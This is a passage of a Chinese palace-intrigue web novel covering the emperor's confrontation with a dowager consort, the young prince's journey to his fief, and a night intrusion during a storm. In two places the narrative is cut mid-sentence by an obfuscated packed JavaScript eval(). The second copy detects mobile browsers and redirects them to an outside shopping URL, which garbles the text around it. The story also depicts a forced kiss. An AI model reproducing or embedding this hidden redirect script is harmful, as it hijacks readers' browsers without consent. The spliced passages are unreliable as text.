那人身量高挑,黑暗中,乔燕起初以为是寻鹰而来的锦衣卫,后隐约见他穿着罩衫,腰系革带,身形熟悉,心里一动,脱口而出:“四哥?是你吗?” 39. 革职 “什么四哥?” 李稷慢行两步,走到近前。 乔燕僵在原地,心生后悔。她今日便不该贪图新鲜走出行宫,更不该入林狩猎,徒增麻烦。 但事已发生,再多的后悔也无用了。乔燕转过身,盈盈一拜:“见过陛下。” 李稷停在乔燕身前约两臂处。 石上的黑鹰歪头,一双豆豆眼盯着男人,辨认一番后,亲昵地上前用喙蹭了蹭他垂落的指尖。 李稷垂眸与黑鹰对视,唇角微扬,弯指轻叩它的脑袋。 “不必拘礼,听你口称四哥,是想家人了罢。先前说过,你若是思家,随时可以出宫回府探亲,虽是两年前之诺,但仍然作数。” “您怎么会在这里?”乔燕没有接话,一边说,一边看向李稷的身后。 “不必找了,只有我一个人。” 李稷眉眼间的喜色淡了下去,自若地在石头上坐下,右臂平举,黑鹰便扑棱棱地落在他手臂上。他用左手逗着。 “出了点事,朕和侍卫们走散了,幸好带着夜煞。方才夜煞忽然起飞,我一路跟着,这才和太妃偶遇。” 乔燕双手奉上铜哨,态度仍是恭谨的,“想是这个将它引来的。” 李稷一顿,指间在她掌心蜻蜓点水般掠过,取走铜哨。他观察着她的眉眼,却瞧不出什么不同寻常,于是垂眼微笑,说道:“还以为和娘娘有着意外的缘分。” 他欲把铜哨塞到怀里,却在弯起手臂时动作一僵。 “嘶——” 一瞬间,李稷吃痛地皱起眉,肌肉绷紧,铜哨滚在了地上。 这些都只发生在一瞬,很快,李稷就恢复寻常神色,弯腰捡铜哨,只是不知是动作太大还是怎的,一缕鲜血从胳膊上缓缓渗出,很快湿了一片衣衫。 乔燕看到了,面无表情地垂下了眼。 李稷捡起铜哨,看向她,微微笑了起来。 “惠禧娘娘今日遇到不少事,却什么都不问。您在怕什么?” “您是圣君,行事自有章程,我不过先帝遗孀,若是过问得多了,难免逾礼。先帝在时,让我随侍左右,倾听玉音,已是破格荣恩,及他走后,更该本分。” 李稷道:“是无心过问吧。” 天色完全暗了下来,月亮尚未升起,正是最为晦暗的时分。 夜风带着秋意的萧飒,在一片静默里,乔燕闻到了略带潮湿的草叶、树皮和土壤混杂的味道。 很久,黑暗里传来皇帝轻飘的嗓音。 “今日刺杀我的,是一股打着‘复辟前朝’口号的民间势力,他们半年前便隐在鹿山深处,就为了伺今日之机。今日我没有防备,中了一刀,差点丢了这只胳膊。” 说到这里,他停了下来,也不知在期待什么。 可他一停,便只剩风声了。 也许黑暗助长了情绪。也许是两年密不见光的隐秘心事终于破土而出,疯狂生长。也许四下无人,伦理纲常失了力量。 总之,在某一刻,李稷终于失了冷静,脱口而出:“两年前,我受杖刑,奄奄一息,娘娘尚且怜我,赠我暖炉。今日我已是九五之尊,你为什么却开始避我如蛇蝎……” “圣上!”乔燕喝道。 原来她也会急啊!仿佛终于看到冰面下的一角风景,李稷心里陡然升起快意,大声道:“下午见到稽川,听到你的消息,你不知道我有多害怕,营地都来不及回,命人到处寻你。” 本以为她还会喝止,不想竟又沉默了下去。 李稷心中生出被忽视的怨怼,忍不住攥紧手指,干涩道:“百来人寻你,却是我第一个寻到。方才,见到你身影,我是真以为,这是老天给我的缘分……你为什么不说话?” 乔燕漠然:“此处又无旁人,您尽管说便是。” 是啊,这里只有他们两个人,便是说了什么不该说的话,又有谁作证呢? 一瞬间,李稷冷水浇头,想起了两年前。 先帝殡天之前,他受了杖刑,趴在东暖阁的床上,了无生意,是她冷酷地骂他懦夫。 唯有心不动,意方定,才能句句这样一针见血,冷眼旁观。 李稷慢慢回味着她的话,心头冰凉,怒火却越盛。 怒到极致,面上反而带不出来了。 “太妃这句话倒是提醒朕了,此处只有你我二人,说了什么话,做了什么事,有谁看得到。” 眼睛已经渐渐适应了黑暗,加上月亮逐渐升起,已能视物。 李稷坐着不动,将身前垂首而立的女人用力扯到怀里。 夜煞受到惊吓,猛地展翅,飞入树冠不见了。 同样受到惊吓的还有乔燕。 李稷身位比她低,不设防之下膝盖一弯,磕在石头上,霎时传来钻心的疼。与此同时,男人的气息扑面而来,她还没反应过来,嘴唇便被咬住了。 乔燕猛地扭过头,手用力推搡,可手腕上的五指如精铁浇筑,分毫不得挣脱。 见她侧首,李稷顺势含上耳朵,灼热的呼吸交缠,如身处蒸笼,神思飘然混沌…… 怀中的女人忽然不动了。 李稷一瞬间清醒过来,心生惶然,止住手上动作。 他手段尽出,却毫无办法,心里的惶然渐渐变为绝望,只能俯首埋在她肩上,寄希望于她的一丝心软,喃喃哀求:“太妃……求您成全我……” 乔燕推开他,直起身,慢慢理好衣裙,从头到尾都没有看他。 李稷僵坐着,在心里组织语言,忽见乔燕跪了下去,额头及地,用那种令他心寒的语调淡淡说道:“我也求圣上,求圣上给我一条活路。” 李稷的胸口堵得厉害,他仰起头,眨了眨干涩的眼眶,哑着嗓子道:“……我,何时没有给你活路了。” “奴婢区区贱身,违不得圣命,可日后事发,群臣讨伐,天下风议,奴婢如何挡。” 李稷注视着跪在身前的女人,许久,许久。他不动,也不说话,像块石头。 乔燕也不动,与他对峙着。 “……凭什么。”李稷喃喃。 凭什么皇考一把年纪,她却愿意随时左右,日夜不离?凭什么冯矩罪债满身,她却始终将他放在心底。 也不知过了多久,终于还是李稷先低了头,他心灰意冷,疲倦地道:“太妃是皇考遗孀,自称‘奴婢’是将朕架在火上烤了。今夜之事是朕冲动,朕万般有罪,太妃起来吧。” 说完这段话,李稷直起身朝来时的方向走去。 乔燕迟疑一瞬,见他再没开口的意思,于是落后三步跟着。 一路穿过灌木,在密林里走了不远,只见前方阔地站着数十个锦衣卫,个个神色焦急,坐立难安,却又仿佛碍于什么命令候在原地。 那只黑鹰夜煞正停在一名锦衣卫的肩膀上。 看到李稷和乔燕一前一后出来,锦衣卫们明显松了口气,只是目光躲闪游移。有一人手中唐刀忽然掉在地上,这本来没什么,他自个儿却像只受惊的兔子一样吓了一跳,倒头便跪。 “陛,陛下恕罪。” 这个蠢货!锦衣卫指挥使稽川倒吸一口凉气,连忙拱手跪地,将下属护在身后,言辞恳切:“卑职们遍寻不到惠禧太妃,幸好娘娘乃天福之人,若是出事,卑职万死难辞其咎。” 半点不提为何团团呆在这待命。 “你确实该死,”李稷冷道,“朕让你护着太妃,你倒好,遇事竟置主子不顾,跑到朕躬身前争宠,其心可诛。你这身官服是要不得了,即日起回家去,好好反省。” 稽川暗叹一口气。 他哪里想到先帝的妃嫔竟和当今天子是这样的关系。 一个时辰前,夜煞探得人后,皇帝竟命他们在此等候,独自去寻乔氏,和乔氏二人独处一个时辰。 这真是好一通晴天霹雳。 这一个时辰里,不说别的弟兄如何心惊胆战,就连他这个伯爵世子也觉得,这条命怕是要到头了。 他今日先是丢下乔氏,乃至害得乔氏遇到危险走失,后来又惊悟如此皇家秘闻,皇帝能不能容他还真不好说。现在只是去官还家,可算轻拿轻放了。 想到这里,稽川心有余悸,表忠心道:“陛下亲迎太妃,孝心罔极,本该广闻天下,但天子之事,不可语人,否则有窥伺圣踪之嫌,臣等必将守口如瓶。” 却不想这句话又不知戳到了皇帝的哪个伤疤,皇帝冷冰冰地道:“什么孝心?惠禧太妃与朕从无母子情分,朕这是孝的哪门子心?” 稽川讷讷不敢再言。 李稷道:“牵马来。” 立马有两个机灵的从树上解下缰绳,牵来两匹马。 李稷翻身上马,默默看向乔燕。乔燕垂着眼皮,抚着身前高大温顺的马,对旁边的锦衣卫轻声道:“能否劳烦……” 话还未竟,只听李稷不耐烦道:“跪下去。” 那个锦衣卫吓了一跳,好在急中生智,猛然间想到了宫中女眷上下马车都需人凳,明白了皇帝的意思,跪伏于地。 乔燕无奈地看了李稷一眼。 锦衣卫身为天子耳目,不比宫中奴婢,大多是勋贵子弟,或者武举出身。她本来想着借一下力便好,不算折辱人,谁知道李稷出口就让人跪下。 在人前,乔燕是不会落皇帝的面子的,于是踩着锦衣卫的背脊,爬上了马。 “起来吧。” 李稷双腿一夹,一马当先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“自朕有革新之意起,很多地方党派就不太平了。今日这出刺杀,若非朝中有人相助,这群人又怎能如此顺利地在山中埋伏两个月之久!这群蠹虫!这么多年的民脂民膏还喂不饱他们,竟胆敢对朕下手!子逝,朕以护卫不力、贪功冒进之名革你官职,想来不会引人怀疑。你自归家做好你的世子,且如朕前日所嘱托的那样,暗中帮朕探查,宗室之中哪些人和朝官结党,沆瀣一气,尤其是和淮党交往紧密的。 昔年淮党和赵王互利,赵王薨后,这群人看似安分下来了,但人的本性难移,两淮膏腴富庶,朕不信他们没有动静。限你三个月,给朕一个名单。” “是,微臣遵命。” “你下去吧。” 稽川行了一礼,却行而出,走到门边,正要转身,又听上首说道:“等等。” 稽川敬待圣音。 李稷卸了威肃之色,面露赧然:“今日之事,是我糊涂了……不能传出一个字。” “圣上放心,什么能说什么不能说,微臣和那几个属下都知道。” “嗯,下去吧。” 稽川走后,帐内空无一人。李稷仿若泄了一口气,微微佝偻起身子,似乎试图将高大的身形蜷缩进宽大的椅子里。 右手臂的血已经凝固,伤口其实不深,本意是做戏给别有用心之人看的,在山里已经包扎过一次。 但那时看到她,被她疏离的态度所激,他头脑发热,故意借大幅度的动作重新撕裂伤口,企图以这种示弱的方式引她可怜同情,却不想换来的是越发的冷漠。 他只差摇尾乞怜,她却仿若木塑石心。更显得他难堪又可笑。 搭在扶手上的手渐渐握紧,手臂青筋暴露,本来已经止血的地方又汩汩出血。 “圣上,奴婢引太医来了。” 座椅上的男人瞬间睁开眼,挺直腰板,面色肃然,方才的脆弱仿若昙花一现,再不见踪迹。 “进来。” 太医拎着药箱入内,看到皇帝半边身子都染了血,不由倒抽一口凉气。唐直抒也吓了一跳,他出去时还只有胳膊染了血,怎么一会儿不见,伤口又开裂了。 等除去衣服,瞧见伤口约一寸长,虽深,却也未伤至骨头,太医和唐直抒才松一口气。 趁着太医处理伤口的时候,唐直抒禀道:“圣上,奴婢方才出去时,见到束修撰在帐外,只是见到奴婢,他就走了,奴婢便未曾在意。但是回来时,奴婢又在帐外看到了他,在那来回走着,奴婢正想喊住他,他却又走了。” “他这是做什么?有事想见朕,通禀便是。宣他过来。” “是。” 40. 就藩 束阳入得帝帐时,太医正在清创口,李稷半边赤膊,血淋淋的,束阳被骇了一跳,连原本准好的说辞都忘了,只顾得问:“圣上这是怎么了?” “今日围猎时遇刺罢了,檐臣莫忧,贼人已经伏诛了,”李稷摆了摆左手,问道,“听唐直抒说,你在我帐外徘徊多时,可是有什么事?” 束阳定定神,既已来了,索性抛开踟蹰,从怀中取出捂了多时的手抄,双手奉上。 “臣确有一物,想要呈给圣上,您请看。” 李稷单手接过,先看排头四字,眉峰一挑,神色微变,意味深长:“变法疏议?” 他合上纸册,没有继续看下去。 “这是你写的?” “不是臣,写这篇议文的,是冯矩,”束阳跪地,一五一十地告知,“臣在游历时,途径琼地崖州,与冯矩偶遇,多有交往,这篇议文,便是他在得知臣即将回京之时交给臣的。” “你好大的胆子!” 李稷脸色沉了下去,今日之事,他本就对冯矩怀了嫉妒,此刻摆脸色,难说没有借机迁怒。 “檐臣,你也知冯矩如今戴罪,你竟还与他交往,你将法度放在眼里吗?你是不是忘了,你祖父是怎么去世的!” 束阳抬头欲辩,看到左右的太医和太监,又把话吞了回去。 李稷静了片刻,平复了心情,一言不发,其余诸人更是不敢置一辞。束阳跪在地上,不敢妄动,直到太医差不多包扎好伤口时,李稷方再次开口,打发走了太监与医官。 这下帐内只剩君臣二人,李稷问束阳:“你有什么话要说?” “圣上容禀,臣知道臣祖父命丧于冯矩之手,臣也曾听说冯矩曾为了活命而叛亲投敌。但是圣上,子规为人如何,臣更相信亲眼认识的他。祖父之事,其中内情,臣能猜到一二,臣不怪他。臣与他交往,非是蔑视法度,而是真心为其折服,圣上若要因此降罪于臣,臣甘愿领罚。” “听你这话,你在为他鸣不平?你是不是觉得,我应该召其回京,起复于他?” “微臣不敢。” 李稷闭了闭眼,也不知是否因为失血过多,只觉眼前一阵发黑。 “起来吧。檐臣,你我自幼一起长大,同听老师讲学,情分非同寻常。你啊,就是太过刚直,和老师一样,一心为他人着想,我又怎会怪罪与你。至于冯矩,我有些看不懂他了。他将这篇《变法疏议》交给你,可是要让你为他在我面前邀功?他说什么了吗?” 束阳大惊失色:“您误会了,冯矩特地嘱咐臣,要臣不提他,是臣难以做下贪功之事,这才向您禀明实情。” 李稷冷哼一声:“你自以为知他,孰知他亦知你。他话虽说得好听,但只要知道你为人秉性,便可知你不会揽功,焉知这不是他的目的。” 束阳叹息,皇帝偏见已成,他说再多,恐怕只会火上浇油。 “圣上,不论冯矩为人如何,也请您看一看这篇疏议。他其中提出的很多变法,以阳之愚见,确实乃力挽狂澜之良方。” “罢了,朕回头会看的,”顿了一顿,李稷淡问,“你既然见过冯矩,那你说一说,他如今过得如何?” 束阳本以为关于冯矩的话题已经过去,没想到皇帝又问了回来。他摸不清李稷的用意,谨慎道:“他如今居于沿海渔村里,开荒种地。” “还有呢?” “他曾托臣给他找了两本农术相关的典籍,将习得之术授给当地农民。有时候也教村里的孩童雅言识字,颇得尊敬。” “没了?” “……冯矩因为戴罪在身,每月须去县衙报道,不能离开渔村半步,每日里只有这些了。” 李稷沉默一瞬:“两年里,他孤身一人,苦寂无聊,可曾娶妻?” “并未。不过倒是有渔女对其示好,只是冯矩并未接受。” “为什么不接受?” 皇帝问的越来越奇怪了,束阳心里莫名,猜不出用意,只能按问作答:“他拒绝那渔女时臣正好在旁边,听他口称已经成婚,臣猜测,他或许对那渔女无意,随意找了个由头断她念想罢了。” “圣上,宋佥事求见。” 帐外,唐直抒禀道。 李稷闻言,对束阳道:“朕还有事,你先回去吧,朕让人在外面摆了酒席,你可去玩乐。这疏议,朕会看的。” 束阳松了一口气,告退出去,正好和宋弼德擦肩而过。 宋弼德清点完今日猎物,交呈上来,李稷点了头名,送上彩头。宋弼德行事周全,亦把女眷的猎物清点造册,李稷看过,见其上竟没有乔燕的名字,恐怕是她有意不报,不由心里发闷,随意点了个猎物丰获的宗室郡主为头名,履行诺言,不仅赐下宝物,而且送出一个愿望。 那名郡主也是懂事,没多久就前来谢恩,许愿圣上赐婚,她其实已经相看好人家,若是能得皇帝赐婚,更为风光,李稷自然无有不应。 其后数日,再未出过事端,等结束秋狝,圣驾回朝,已是八月十五。 中秋日,宫中难得又热闹了一回,次日,便是亳王李琢十岁的生辰。 这一场寿诞办得格外隆重,生辰宴上,圣上亲自到场姑且不说,更是赐下恩典,允年仅十岁的亳王前去封地就藩。亳王请旨携二母去往封地,圣上皆允。 这一日,享纯宫上下开心得仿佛过年,娘娘每日苦寂,大家看在眼里疼在心里,如今终于能随亳王出宫,日后山高水远,可不比皇城里头的日子有盼头多了。 宜婵指挥人收拾行李,想起有衣裳在浣衣房未取,见阖宫上下忙碌不休,也就她自个儿闲着,于是亲自去掖庭跑了一趟。 回去时,瞧见一道年轻的身影在宫门外徘徊不去,几次欲踏入门内,又彳亍折返,宜婵默了一默,走到那人身后。 “小金公公。” 背对她的肩膀一抖,似是吓了一跳,又僵硬起来,几息后才转过来,已是面带得体的微笑,唇角泛着两个梨涡。 “宜婵姑娘,我正要寻你,没想这般巧,在这就遇到了。” 自升为一宫掌事,身有品级,在主子跟前说得上话,谁见了她不称一声“姑姑”,只有这小太监,从前照拂她时唤她姑娘,无须他照拂了,仍唤“姑娘”。 监所衙门没有灶房,这几年里,金春山有时忙得晚了,吃不上热饭,总跑到宜婵这里要一口吃的。后来养成习惯,宜婵就总等他,也许是深宫寂寞,能在饭桌上有个人搭伙陪伴,也算一种慰藉。有时见他太晚不来,宜婵还会抽空去司礼监给他送饭吃。 二人夜夜对食,点到即止,从未有人更进一步。 有一次,他来吃饭,袖里滑出一个乌木锦盒,宜婵捡起递还,本要说笑两句,不想见他面色涨红,不由愣住,讷讷无言。 那盒子,后来却没再见过。也许是她当时多想了。 她看得出,有时他似有话想说,但那话到了嘴边,又咽了回去。每每察觉这点,她说不出是失望还是松一口气,只觉得这小太监是会体贴人的,如此交往,令她没有负担,十分轻松。 此番即将出宫,宜婵固然喜悦,但忙碌之余,心底若有一丝惆怅挥之不去。 见他来寻,不由一笑,可那丝惆怅却如破土之芽,终于清晰起来。 “公公来找我,是同我道别的吗?” “是,是,自然是来向姑娘道别的,”金春山笑吟吟的,“也是来恭喜姑娘,刚和姑娘相识时,就曾听姑娘说过,希望日后能得自在。如今姑娘年纪轻轻就能跟着惠禧太妃娘娘前往封地,海阔天高,也算得偿所愿。” 宜婵一怔:“我说过这话吗?我不记得了。” 金春山凝视她片刻,垂眼从怀里取出一个乌木锦盒,微笑道:“姑娘逢喜事,我思来想去,不能白吃这么久的饭,于是趁出宫办差的时候,给您买了这物作为贺礼……姑娘从前说起过有一只心爱的梅花钗丢在了西苑,我出宫几回,跑了好多银铺子,就连您提过的宣南坊的那家也去过,却再没找到一模一样的,就买了个别的样式的……” 他是真心的,他所有的话,都是真心的,哪怕有所矫饰遮掩,掩的也是他不能为人道的自卑之情。 宜婵握紧木盒,有什么顺着胸腔涌上喉咙。这熟悉的木盒,她曾在手里拿过一回,他是不是忘了。 她作势要开,却被金春山拦住。金春山最后看着她,眼里有一丝怅惘。 “等不见后,姑娘再看吧。” 临走前,乔燕把享纯宫上下宫人全部聚在一起,若有想留下来的,就各寻前程,发了银两以全主仆之情。大宫女黎月出宫在即,家里人给她找好了婆家,就等她出宫成亲,不能跟去亳州。黎月不舍地给乔燕磕了三个头,乔燕不仅给了遣散的银钱,更是给了一匣子珠宝做嫁妆。 九月初一,宜出行。亳王仪驾出京,随行二百员仪卫队,以及皇帝赐下的十多名锦衣卫。从通州乘漕船,沿大运河南下,二十日后抵达徐州,弃船登岸。 徐州官员着公服于码头叩头迎谒。 船头不见亳王李琢,倒是立着两名儒巾文士,正乃此次就藩皇帝给亳王的两位长史,右长史为新科进士宋则,左长史则是翰林院编修束阳。 束阳是束继文独孙,又曾是当今圣上的伴读,师从林元海,在士林中极有名望。此次游历回京,修完《齐志·巨贾篇》,立下大功,本有望入阁拜相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116323|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却没想到会被迁为五品的王府长史,实在令人大跌眼境。 李琢本人尤甚,后来又闻是束阳自己主动提出想要外放增加阅历,才有此一出,方觉合理。 这一路,束阳悉心教导,有惑必答,李琢待之恭敬,二人相处,不似主从,更甚师生。 此时面对乌泱泱的徐州官员,李琢和两位太妃循礼避而不见,径直入了岸边马车,两位长史出面受礼,随后启程前往落脚处。 本地官员就得讯亳王仪驾将到,腾出徐州监院作为行馆,却被李琢拒绝,只道一切从简,于是最后还是宿于馆驿,携带的二百名仪卫兵则就近扎营。 尽管如此,驿馆内也重新修葺过,提前铺上黄帷幔,置朱漆案,珍珑宝器,十分奢华。 一进驿馆,李琢眉头就没松开过,小小年纪,神色已初俱威严。 待安顿下来,各自回屋,驿差来报:“徐州的几位大人在外堂等待拜见殿下,不知殿下见是不见?” 李琢看向长史,束阳出声问道:“哪几位大人,可有拜帖?” “有的。” 驿差恭敬地递上一叠拜帖,束阳接过,打发走他,一张张看过去。 一旁的宋则说道:“这么晚了,为何还要来拜?” 束阳解释:“怕是当地官员备了接风宴……”说着,看到一个名字,手上动作一顿,将那封拜帖拿给李琢,“殿下,您看。” 宋则也凑过去,念道:“两淮盐运司分司运判征孝……咦,这位征大人不是淮安分司的吗,怎会在徐州?” “淮安盐运需要用到徐州漕运,两署素来来往密切,”束阳道,“看来今晚这接风宴是不得不去参加了。殿下,若您不欲前往,就由微臣二人代劳。” 时值秋末,本该添寒,然而这日阴云密布,久不落雨,空气潮湿,混着白日余温,十分闷热。 夕食后,乔燕沐浴完毕,仍觉身上汗湿不净,命人开窗通风,坐在窗前透气。 不一会儿,李琢前来请安,乔燕倚在窗前美人榻上,神色恹恹地与他说话,李琢察言观色,没多久就道母妃早日休息,起身告辞。 李琢走后,于海在牖外说道:“听驿差说,院子后面有个假山池子,通着活水,娘娘要不要去逛逛?” 乔燕欣然应允,携仆去到院后,宜婵命人搬来藤椅,乔燕倚了片刻,果觉甚为凉爽。 “去问孙太妃来不来,与我说说话。” “是。” 往日这种跑腿的事自有小宫女代劳,但此次出宫,乔燕只带了宜婵和于海二人,于是于海去请孙太妃。凉风习习,乔燕闭目养神,再睁眼时,只见宜婵盯着水面,似在走神。 “你这簪子不错,玉色极好,样式别致,不是宫里之物,什么时候买的?”乔燕忽道。 宜婵回过神,下意识抚簪,观水自照,老实道:“是这次出宫,友人送的。” “这样贵重之物,抵得上内监一年俸禄了。” 宜婵看了乔燕一眼,叹了一声:“娘娘既然知道,就莫再打趣了。” “好好,我不提了。”乔燕笑了一笑,夺过宜婵手里团扇自己摇了摇,又冷不防道:“自古缺月多,圆月少,莫不遗憾。” 宜婵做捧心状。 乔燕挑眉:“你这是做什么怪?” “我在感受‘遗憾’。” “哈哈哈。”乔燕被她逗得开怀大笑。 不多时,孙太妃前来,乔燕心情舒畅,邀她坐下纳凉,又说笑一会儿,直至夜深,方各自回屋歇息。 翌日早晨,役差送来热水,乔燕洗漱完毕,那边宜婵已经借用伙房做好了一桌早饭。乔燕在桌边坐下,命人去请孙太妃、李琢和稽川来。 稽川乃是宗室子弟,颂平侯世子,自革去锦衣卫指挥使一职后,便闲在京中无所事事,整日寻一些宗亲纨绔喝酒浇愁,有一次醉酒,当众大骂启正帝用人以庸,被御史参到御前,又被李稷喊过去打了五杖。 八月底,一条消息传入顺天府,老颂平侯去世,稽川返乡丁忧,便是要去扬州府江都县,与李琢的封地相隔不远,李稷便命其暂领仪卫兵,一路同行,先送李琢母子前去亳州谯县,后转道回扬州。 因稽川侯爵世子的身份,在船上时多和其他三个主子同桌同食,是以这日朝食备好后,乔燕便让人去喊他。 不多时,孙太妃和李琢都到了,驿差却回说稽川不在房内,行李尚在,人一夜未归。 李琢闻言,想起一事,说道:“昨日戌时末,凤阳巡抚、中军官、和徐州官员递帖,在州衙设宴,邀我前去。我让束先生和稽世子代我去了。两位母妃莫急,我这便唤束先生前来问问情况。” 41. 遇险 稽川醉酒,宿于州衙内,翌日不归,驿馆这边,李琢派了一名锦衣卫去打听情况,才将一身酒气的稽川接回来。 此时已至正午,日头短,用完饭太阳已经西斜,而从彭城驿启程到下一个落脚点至少要四个时辰,孙太妃便来和乔燕商量,是否暂缓一日?乔燕应下,派人去通禀李琢,不一会儿,李琢亲自赶了来。 “母妃和娘考虑的极是,但徐州官员为了接待我们,铺张之极,儿子问过下人,一天里光吃食就要花费八十多两,实在劳民伤财,儿子想,反正夜间也不算冷,不如趁早赶路,也不必通知那些徐州官员了,省得他们又要大费周章。” 少年一本正经,乔燕和孙太妃对视一眼,笑道:“难得恒奴有这样的心,不如就依他罢。” 孙太妃自然无有不应,各自回房吩咐下人收拾东西。 某个空当里,乔燕抬头,不经意从半开的窗户看到院子的门洞外,稽川正在李琢对面说话,他还穿着昨日的衣服,但是神色冷峻,分毫不似近日里传言中酗酒不得志的模样。也不知说了些什么,稽川朝李琢抱手行了一礼。李琢抬手止住,朝京师的方向拱了拱手。 就在收拾完行李,正要上车时,徐州知州也不知打哪听到的消息,带着几个属官匆匆赶来。 “两位娘娘,殿下,世子爷,非是下官拦路,而是此时实在走不得啊!昨夜急报,黄河中游自五日前突发暴雨,就在两天前,黄河决堤夺河,连带着淮河中下游水位上涨,淹了一批良田,虽在徐州上游被堤坝拦住了,但官道就在淮河沿岸,此时上路的话,恐有罹祸之虞啊!” 此行李琢才是话事人,虽然他年纪还小,但乔燕有意让他多加历练,闻言便看向他,示意由他定夺。 李琢先是一怔,随即竟下意识看了眼稽川。就这一眼教乔燕终于觉出点不寻常。 稽川低着头摸身前的马,并未注意到,哪怕注意到了,也不便出面。 李琢只能说道:“州台说的在理,只是……” 少年到底少于磨炼,从前在宫里更是腼腆性子,如今虽已改善,但要想完全融于世故还为时尚早。他一时情急,想不出话头,正心焦窘迫时,乔燕上前一步,拍过他肩头,对徐州知州道:“我们母子此行是为就藩,若是在外盘桓多日,恐有亲王逾政之嫌,我们不欲圣上多心,自是早点到封地为好,还请州台见谅。至于水患,州台也说了,还未影响到此处,未来天气莫测,我们更应及早上路才是。” 为了防止藩王之乱,大齐的藩王不仅没有实权,更要避免与地方官员接触,这也是为何之前李琢多避而不见,由长史出面代劳,此刻拿这做由头再合适不过。话说到这个份上,徐州知州只能放行。 又是一路无事,等天色渐晚,车队停了下来,有卫兵跑过来传话,于海转达:“娘娘,天色不早了,眼看快要下雨,而驿馆尚远,稽世子问是否就在此地扎营?” 乔燕掀开帘子,搭着于海的手臂走下马车,李琢也正从前一辆马车下来,见到乔燕,便走到近前,先行了一礼,“母妃,稽世子想要在此扎营,我觉得未尝不可,您看呢?” 今夜比前一日更加闷热,空气中仿佛盈满了水汽,从天地压下来。 因这一路官道与淮河相邻,不远处流淌着宽阔的大河,风浪颇大,也不知是不是错觉,乔燕总觉得淮河水位确实比之前涨了一截,风一刮,水浪舔着河岸。 稽川提议扎营的地方便在官道的另一侧平地上,此刻队伍停下,已经有不少士兵在解囊。 “这样的天气,恐怕要有暴雨,河水水位这般高,难保不叫那徐州知州说中,遇到水患,暂且吃一下晚饭,之后还是继续行路吧,等到了驿馆再歇不迟。” 李琢被她说服,命人去传话,不多时,士兵们起锅烧饭。拉行李的马车围成一圈,中间围出一圈避风的地儿,宜婵他们有学有样地挖土添柴,天色完全黑下来时,篝火将夜幕照的明亮。 饭毕,车队重新上路。 然而还真叫乔燕说中了,又走了大概一个时辰,天上突然噼里啪啦地掉雨珠子,这雨下得又快又急,雨珠串成雨线,雨线又连成雨幕,不多时便成狂风骤雨,身量轻的女子恐怕能被风刮走,拉车的马惊了两匹,原地踏步,怎么都不肯继续前行。 此时再想等到驿馆歇息已经不现实了,须得立刻找个地方躲雨,好在此处人烟稠密,田野上常见人家,稽川派出几名锦衣卫探路,尔后回禀,找到一户农庄,愿意给他们住一晚。 卫兵们训练有素,在避风的一侧扎营。 这农庄颇大,是附近一家乡绅的庄子,空屋颇多,几个主子一人一间也绰绰有余。 等洗完热水澡,乔燕才总算又活过来。进门时孙太妃就忍不住抱怨,不该这般急的赶路的,若是听那徐州知州的话,多在徐州住一晚多好,也好等到天晴了走,乔燕只能赔个不是。好在孙太妃有时候只是和熟人嘴上厉害,实际心无芥蒂,并非真的记怀。 乔燕洗澡的时候,宜婵去找农妇借灶台煮了一大锅姜汤,分了十几碗送出去,等喝完姜汤,乔燕只觉疲累,倒头便睡。 这一觉睡得极沉,半夜里,耳边似乎听到有什么窸窸窣窣之声,眼皮子却总睁不开,也不知过了多久,半空中忽然划过一声尖利的哨音,乔燕陡然惊醒! “怎么了?发生了何事?!” 睡在外间的宜婵匆匆批衣点灯,举着灯台入内,安抚道:“娘娘莫急,方才是卫兵那里传来的哨音,也不知发生了什么,我这就去看看。” 乔燕慢慢回过神:“外面危险,你不要乱走,让门外护卫去看看。” “是。” 宜婵很快去而复返,难掩惊惶,道门外护卫不知为何不见踪迹,乔燕便让她去旁边屋子找稽川,若稽川也不在,就寻锦衣卫,不论如何,恒奴那里总有两个。 受乔燕的镇定感染,宜婵也定了心。宜婵出去后,乔燕坐在床上,突然察觉一丝不对,妆奁未合,绝不会是宜婵粗心所致。她前去查看,发现珠宝首饰都在,心中有了怀疑,再四下打量,才发现整个屋子都被人小心翻过,睡前看的书不在原地,箱箧里的衣服也有点凌乱。 就在她睡着的这段时间,屋子进过贼。她感到十分后怕,若这贼别有用心,她如何还能好端端坐在屋里? 又想:贼人不图金银珠宝,也非寻仇,那是在找什么呢? 这时,窗上映出一道黑影,乔燕吓了一跳,一把从妆奁里翻出金钗藏在手心,屏气凝神。却听外头人焦急道:“娘娘,奴婢于海,宜婵姑姑找到我,她有事去寻锦衣卫,放心不下,让奴婢前来护着您。” 乔燕松了口气:“哦,好,我没事。” “是。” 有人在身边,还是身强力壮的人,乔燕这才安心许多。 没过多久,孙太妃和李琢都聚集过来,乔燕和他们大致说了发生的事,孙太妃身边的宫女说:“怪不得奴婢找衣服时感觉有些乱,还以为是路上颠簸的。”这才知原来那贼人不止光顾了乔燕这一间。 贼人那般小心,恐怕也是怕人的,李琢带过来的锦衣卫守在门外,很是安全。 外头风雨如晦,农庄的妇人也被惊醒,烧来热茶,问是否要吃东西,乔燕赏了银子,要她不必忙活。这样等了盏茶工夫,宜婵回来了,对上乔燕探寻的视线,她摇了摇头。 乔燕问:“稽世子呢?” “世子不在房内,奴婢问殿下借了两名锦衣卫,去卫兵营打听消息,看看到底发生了什么。” 李琢这时说道:“夜里那道哨音我也听到了,是支援的讯息。” 又过了约半时辰,稽川沐雨栉风,大踏步而来,他少见的穿了先帝赐下的飞鱼服,身后跟着出去打听消息的锦衣卫,被雨浇透,站在门口,不一会儿脚下就汇出一大滩积水。 